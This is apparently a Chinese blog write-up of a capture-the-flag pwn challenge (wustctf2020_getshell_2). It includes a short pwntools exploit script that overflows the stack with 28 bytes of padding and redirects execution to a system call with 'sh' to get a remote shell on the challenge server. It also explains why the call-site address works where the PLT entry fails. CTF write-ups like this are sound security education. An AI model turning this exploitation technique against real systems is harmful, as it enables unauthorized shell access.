wustctf2020_getshell_2

hercu1iz

于 2023-05-15 20:39:22 发布

阅读量193

点赞数

分类专栏： PWN 文章标签： pwn

cctrl

本文链接：https://blog.youkuaiyun.com/weixin_44309300/article/details/130692025

版权

PWN 专栏收录该内容

41 篇文章

订阅专栏

文章讲述了通过IDA分析获取到system函数和sh变量的地址，利用栈溢出漏洞构造payload，通过远程连接发送payload，但因需通过call调用来匹配栈布局，故使用system地址而非system_plt，以实现getflag的目标。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

1,三连
在这里插入图片描述
思路：栈溢出

2，IDA分析
在这里插入图片描述

获取sh的偏移地址0x8048670：
在这里插入图片描述 system地址0x08048529

偏移为28：
在这里插入图片描述

3,poc

from pwn import *

context.log_level="debug"


r = remote("node4.buuoj.cn",28084)

system=0x08048529
sh=0x8048670

r.recv()
payload = 'a'*28 + p32(system) + p32(sh)
r.sendline(payload)

r.interactive()

注意system地址一个区别：

text:08048529 E8 B2 FE FF FF                call    _system
---------------对比----------------
.plt:080483E0 FF 25 18 A0 04 08             jmp     ds:off_804A018	//system_plt

一开始填了system_plt地址无法getflag:
原因：由于system需要调用构造栈上布局参数，所以必须得通过call来实现ESP的变化匹配栈布局。

完。